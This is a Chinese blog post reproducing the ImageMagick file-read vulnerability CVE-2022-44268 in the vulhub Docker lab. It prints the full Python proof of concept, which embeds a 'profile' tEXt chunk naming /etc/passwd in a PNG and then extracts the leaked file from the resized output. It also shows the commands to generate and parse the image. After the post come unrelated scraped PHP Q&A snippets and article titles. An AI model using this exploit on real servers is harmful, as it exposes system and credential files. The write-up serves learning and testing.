ImageMagick任意文件读取漏洞(CVE-2022-44268)

2023-11-07

0x00 前提

前几天爆出一个 ImageMagick 漏洞 ,可以造成一个任意文件读取的危害比较可观,最近有时间来复现学习一下

主要是影响的范围很大,很多地方都有这个问题,需要来学习一下

0x01 介绍

ImageMagick 是一个免费的开源软件套件,用于显示、转换和编辑图像文件。它可以读取和写入 200 多种图像文件格式,因此在全球网站中找到它是很常见的,因为总是需要处理用户个人资料、目录等的图片。

在ImageMagick 7.1.0-51版本及以前

CVE-2022-44268:ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像(例如,调整大小)时,生成的图像可能嵌入了任意远程文件的内容(如果ImageMagick二进制文件有权读取它)。

0x02 漏洞介绍

CVE-2022-44268:任意远程泄露

当 ImageMagick 解析 PNG 文件时,例如在调整大小操作中,生成的图像可能嵌入了来自网站的任意远程文件的内容(如果 magick 二进制文件有权读取它)。

恶意行为者可以制作 PNG 或使用现有 PNG 并添加文本块类型(例如 tEXt)。这些类型具有关键字和文本字符串。如果关键字是字符串“profile”(不带引号),则 ImageMagick 会将文本字符串解释为文件名,并将内容加载为原始配置文件,然后攻击者可以下载随远程文件内容一起提供的调整大小的图像。

0x03 漏洞环境

问就是直接使用P牛的vulhub的环境,很方便。

执行如下命令启动一个Web服务器

docker-compose up -d

访问http://127.0.0.1:8080可以看到图片上传框

image-20230212160602851

[后端服务]https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/index.php

(直接看github即可)

功能是将用户上传的任意图片缩小成50x50的PNG图片。

$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");

0x04 漏洞复现

利用这个漏洞,需要先准备一个恶意PNG文件,文件内容中包含我们准备读取的文件路径:

可以使用poc.py来生成这个图片:

./poc.py generate -o poc.png -r /etc/passwd

https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
       b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
       b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


def parse_data(data: bytes) -> str:
    _, data = data.strip().split(b'\n', 1)
    return binascii.unhexlify(data.replace(b'\n', b'')).decode()


def read(filename: str):
    if not filename:
        logging.error('you must specify a input filename')
        return

    res = ''
    p = png.Reader(filename=filename)
    for k, v in p.chunks():
        logging.info("chunk %s found, value = %r", k.decode(), v)
        if k == b'zTXt':
            name, data = v.split(b'\x00', 1)
            res = parse_data(d.decompress(data[1:]))

    if res:
        sys.stdout.write(res)
        sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
    if not to_filename:
        logging.error('you must specify a output filename')
        return

    with open(to_filename, 'wb') as f:
        f.write(png.signature)
        if from_filename:
            p = png.Reader(filename=from_filename)
            for k, v in p.chunks():
                if k != b'IEND':
                    png.write_chunk(f, k, v)
        else:
            png.write_chunk(f, b'IHDR', IHDR)
            png.write_chunk(f, b'IDAT', IDAT)

        png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
        png.write_chunk(f, b'IEND', b'')


def main():
    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
    parser.add_argument('action', type=str, choices=('generate', 'parse'))
    parser.add_argument('-i', '--input', type=str, help='input filename')
    parser.add_argument('-o', '--output', type=str, help='output filename')
    parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
    args = parser.parse_args()
    if args.action == 'generate':
        write(args.input, args.output, args.read)
    elif args.action == 'parse':
        read(args.input)
    else:
        logging.error("bad action")


if __name__ == '__main__':
    main()

执行poc.py前请安装PyPNGpip install pypng

上传的时候可以看到多出来一个Payload profile=/etc/passwd

image-20230212161722446

上传成功,处理完之后,从网页上把我们的图片下载下来

使用poc.py提取出其中所有内容:

./poc.py parse -i out.png

image-20230212162254636

可以看到,已经提取出/etc/passwd文件的内容,这部分内容是由ImageMagick在处理旧图片时读取并写入到新图片中。

0x05 总结

这个漏洞其实挺底层的,很多地方会使用,测试需要注意此类功能。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ImageMagick任意文件读取漏洞(CVE-2022-44268) 的相关文章

  • Mysql加密/存储敏感数据,

    我的 PHP 网站有以下内容 启用 SSL 饼干 session set cookie params cookieParams lifetime cookieParams path cookieParams domain secure ht
  • 获取资源 #id 3 错误

    当我运行此命令时 得到资源 id 3 结果 请查看我的代码并帮助我解决这个问题 拜托
  • 使用邮箱认证注册,只有30%激活?

    我正在使用 php 和 mysql 我的网站是 Flash 的 完整的 Flash 网站 我有一个允许用户注册的网站 注册过程包括发送 激活电子邮件 点击链接激活帐户 前两周还好 在大约 2000 个用户中 有 1800 个用户被激活 此后
  • 在php中设置数据库中的会话

    如何使用 php 和 mysql 在数据库表中使用会话 您需要创建一个像这样的对象 class SessionHandler private static lifetime 0 private function construct obje
  • 在 php unlink 中使用通配符

    我目前正在制作一个 php 脚本来绘制数据库中的一堆数据 将其排列到文本文件中 然后运行 GNUPlot 脚本来生成图表 我已经完成了所有这些工作 现在我需要做的就是删除我不再需要的文本文件 我一直在尝试的内容是从不同论坛上的另一个帖子中获
  • 如何通过 md5 比较图像?

    该方法是否比较图像的像素值 我猜它不会起作用 因为它们的尺寸彼此不同 但如果它们相同但格式不同怎么办 例如 我截图并保存为 jpg另一个并保存为 gif MD5哈希是实际的二进制数据 因此不同的格式将具有完全不同的二进制数据 因此 要使 M
  • 通过 exec() 的 Crontab 不适用于 PHP 7.4 / Deb 10

    调试有点困难 因为我正在使用新版本的 PHP 和新服务器上的新操作系统 我有一个 PHP 的 cron 管理系统 它也允许我添加 删除或启用 禁用 cronjobs 在另一台当前使用 PHP 7 2 的 Deb 8 服务器上 它可以使用以下
  • 在 WordPress 中挂钩 AJAX

    我一直在深入研究 Javascript 和 AJAX 的世界 我非常接近 但由于某种原因 我认为我没有正确地连接到 wordpress ajax 函数 我已经仔细阅读了文档和这个 认为 99 都在那里 这个应用程序的作用是有一个项目列表 每
  • 在路线中使用中间件的车队购物车,但我在项目中找不到任何 $routemiddleware...甚至在 kernel.php 中也找不到...我在哪里可以找到它?

    在路线中使用中间件的车队购物车 但我在项目中找不到任何 routemiddleware 甚至在 kernel php 中也找不到 我在哪里可以找到它 Laravel 版本 5 7 护照版本 7 5 CMS 舰队购物车 内核 php name
  • 在非 WordPress php 页面之外显示 WordPress 帖子

    我需要在非 WordPress php 页面中显示 WordPress 博客文章 我已经尝试过以下代码
  • 递归树遍历 - 如何跟踪递归级别?

    我基本上试图从表示树结构的多维数组构建 html ul li 嵌套列表 下面的代码工作正常 但我想改进它 我需要一种方法来跟踪递归级别 以便我可以将不同的类应用于不同的级别 向生成的输出添加缩进等 function buildTree tr
  • 如何使用Google API PHP SDK获取用户信息

    我正在尝试为拥有 Google 帐户的用户添加登录选项到我的网站 我已经能够实现这个 Facebook 但在使用 Google 获取用户帐户信息时遇到问题 我正在使用位于此处的 Google PHP SDK https github com
  • Gmail 搜索怎么这么快?

    搜索这么多字符的最有效方法是什么 你怎么认为 假设网站是用 PHP 和 MySQL 构建的 我应该学习什么才能尽可能有效地构建它 有什么我应该学习的算法吗 文本索引算法 https stackoverflow com questions 4
  • 分页当前链接未突出显示

    我遇到了一个奇怪的问题 我当前的分页链接未突出显示 我制作的分页网址如下所示 site com list 50 some value 一切工作正常 但当前视图中的分页链接未突出显示 我检查了CSS 没问题 我猜问题出在库上 这是我的代码 我
  • 不要回显 cURL

    当我使用这段代码时 ch curl init url statuses curl exec ch curl close ch 我得到了我想要的东西 但如果我只是使用它 statuses被回显到页面上 我怎样才能阻止这个 将其放在第 2 行
  • 为简单应用程序生成 PHAR

    我正在尝试使用 Symfony2 控制台库构建 CLI 工具 我已经有了一些基本的工作 现在我想将其打包为一个 Phar 我读过一些示例 但我看到的示例非常简单 3 个文件 没有命名空间等 In my src 目录我有以下内容 Above
  • 根据用户的时间设置问候语(早上好,下午好......)

    任何人都可以推断如何根据用户的时间设置实现基本的 晚上好 或 早上好 也许 PHP 会获取服务器时间 但我希望用基于时间的适当问候语来问候网站访问者 并考虑到他们一天中的时间 E G 早上好 晚上好 下午好 基于它 getHours 日期对
  • 使用 Hudson 将构建与部署分开

    我们已经开始使用Hudson 目前的工作流程是 本地签出 gt 代码 gt 运行测试 gt 更新 gt 运行测试 gt 提交 Hudson 并不进行轮询 而是只是坐在那里 直到我们实例化构建 然后它 本地结帐 gt 运行 Phing 脚本
  • MySQL 查询按父级排序然后子级排序

    我的数据库中有一个页面表 每个页面可以有一个父页面 如下所示 id parent id title 1 0 Home 2 0 Sitemap 3 0 Products 4 3 Product 1 5 3 Product 2 6 4 Prod
  • Laravel 中间件将变量返回给控制器

    我正在对用户进行权限检查 以确定他们是否可以查看页面 这涉及首先通过一些中间件传递请求 我遇到的问题是 在将数据返回到视图本身之前 我在中间件和控制器中复制相同的数据库查询 这是设置的示例 路线 php Route get pages id

随机推荐

  • 华为OD机试真题 Java 实现【获取字符串中连续出现次数第k多的字母的次数】【2023Q1 100分】,附详细解题思路

    一 题目描述 给定一个字符串 只包含大写字母 求在包含同一字母的子串中 长度第 k 长的子串的长度 相同字母只取最长的那个子串 二 输入描述 第一行有一个子串 1 lt 长度 lt 100 只包含大写字母 第二行为 k的值 三 输出描述 输
  • 六款常用的linux C/C++ IDE

    摘要 一 AnjutaAnjuta是一个多语言的IDE 它最大的特色是灵活 同时打开多个文件 内嵌代码级的调试器 调用gdb 应用程序向导 Application wizards 可以方便的帮助你创建GNOME程序而不需要你自己写一些与你兴
  • 迁移MongoDB数据库及数据(MongoDB数据库的备份与恢复)

    备份 在有数据的地方使用mongodump h connection d 数据库名 o 保存的文件夹 比如 mongodump h 127 0 0 1 27017 d my db o my back dir 恢复 在想要覆盖的地方使用mon
  • windows环境中使用goland构建linux二进制文件并运行

    大家都知道 go语言可打包成目标平台二进制文件是它的一大优势 如此一来 go项目在服务器不需要配置go环境和依赖就可以运行 操作方式 需求 在windows环境中打包部署golang项目到Centos 7 运行 打包环境 windows 1
  • makefile常用编译选项

    我们习惯创建一个环境变量文件Inc mk来定义常用的变量 CC gcc CXX g std c 11 AR ar ARFLAGS scurv RANLIB ranlib CFLAGS CXXFLAGS INCLUDE LDFLAGS CFL
  • Datagrip如何访问集成Kerberos协议的Hive数据库

    Datagrip如何访问集成Kerberos协议的Hive数据库 简介 环境说明 kerberos秘钥 Datagrip配置 环境变量 安全服务文件 参考连接 简介 背景说明 hive数据库默认不需要配置用户名密码 基于 Datagrip
  • Paper writting accumulation

    Abstract last Our extensive experiments on multiple benchmark datasets demonstrate the superiority of compared to a numb
  • DVWA - XSS DOM (low)

    low级别 XSS 全称Cross Site Scripting 即跨站脚本攻击 某种意义上也是一种注入攻击 是指攻击者在页面中注入恶意的脚本代码 当受害者访问该页面时 恶意代码会在其浏览器上执行 需要强调的是 XSS不仅仅限于JavaSc
  • 抖音 x-gorgon 03 免费生成接口 抖音6.3.0版本

    接口已经更新 请参考文章 https blog csdn net wql2014302721 article details 113737772 相关文章 抖音爬虫从0到1 第一弹 环境配置 抖音 x gorgon 03 免费生成接口 抖音
  • Markdown文档小技巧

    MarkDown文档现在可以说普及率原来越高 相对于其他的编辑 记得重点是如何输出内容 提供给你对应的 神秘代码 来完成一些如生成目录 数字符号 链接啊这些东西 更加关心文档的内容 0 推荐的的markdown文档编辑工具 我这里推荐Typ
  • android 关于mk如何引用其它so库

    通常 开发android的软件 常常需要编译so库 然编译的这个so库 需要调用多个其它的so库 这里主要记录一下 编译so库时 调用其它so库的mk 是怎么写的 这里讲的示例 需要编译出libtest3 so 它需要调用libtest1
  • Qt:QML:程序最大化最小化全屏之间的切换

    啥也不说了 直接上代码 import QtQuick 2 5 import QtQuick Controls 1 4 import QtQuick Window 2 0 ApplicationWindow id idMainWindow v
  • 美的年营收3412亿:净利286亿 何享健控制31.5%股权

    雷递网 雷建平 5月4日报道 美的日前公布年报 年报显示 美的2021年营收为3412亿元 较上年同期的2842亿元增长20 06 美的2021年净利为285 74亿元 较上年同期的272 23亿元增长4 96 扣非后净利为259 29亿元
  • oracle数据库中varchar类型字段中存放的有数字和汉字情况,比较大小问题解决

    如果你也正在为这种问题头疼 当你看到我这篇博客时 恭喜你 问题的解决方案来了 你头疼的问题可以解决了 这个问题是我在最近的项目中遇到的难题 上网查阅了很多资料 用什么平常使用的 lt lt gt gt 都没能解决问题 最后还是问了大牛 才解
  • SpringCloudGateway集成SpringDoc CORS问题

    SpringCloudGateway集成SpringDoc CORS问题 集成SpringDoc后 在gateway在线文档界面 请求具体的服务接口 报CORS问题 Failed to fetch Possible Reasons CORS
  • 2.5 使用SolidWorks转换STL格式为OBJ文件格式

    1 说明 使用SW进行三维模型建模 一般应用在机械工程领域中 将模型保存成STL格式后 转换为 obj文件 才能进一步转换为mesh文件 供QT中的3D控件进行使用 本文章记录一些格式转换步骤和关键点 以便参考 2 第一步 首先在SW软件界
  • easyui怎样实现textarea

    uqery easyui 本身没有实现textarea的封装 用的知识html元素 但是提供了textarea的验证器
  • cpp:State Pattern

    file Gold h brief State Pattern 状态模式 C 14 2023年5月29日 涂聚文 Geovin Du Visual Studio 2022 edit author geovindu date May 2023
  • PADS生成SMT坐标文件

    做SMT时 除了 gerber文件 外 还要提供 BOM文件 和 坐标文件 gerber文件 和 BOM文件 前面都有介绍过了 现在详细说一下生成 坐标文件 的方法 贴片厂家提供了操作教程 如下 所以 我们点开厂家的教程 按步骤操作即可 参
  • ImageMagick任意文件读取漏洞(CVE-2022-44268)

    0x00 前提 前几天爆出一个 ImageMagick 漏洞 可以造成一个任意文件读取的危害比较可观 最近有时间来复现学习一下 主要是影响的范围很大 很多地方都有这个问题 需要来学习一下 0x01 介绍 ImageMagick 是一个免费的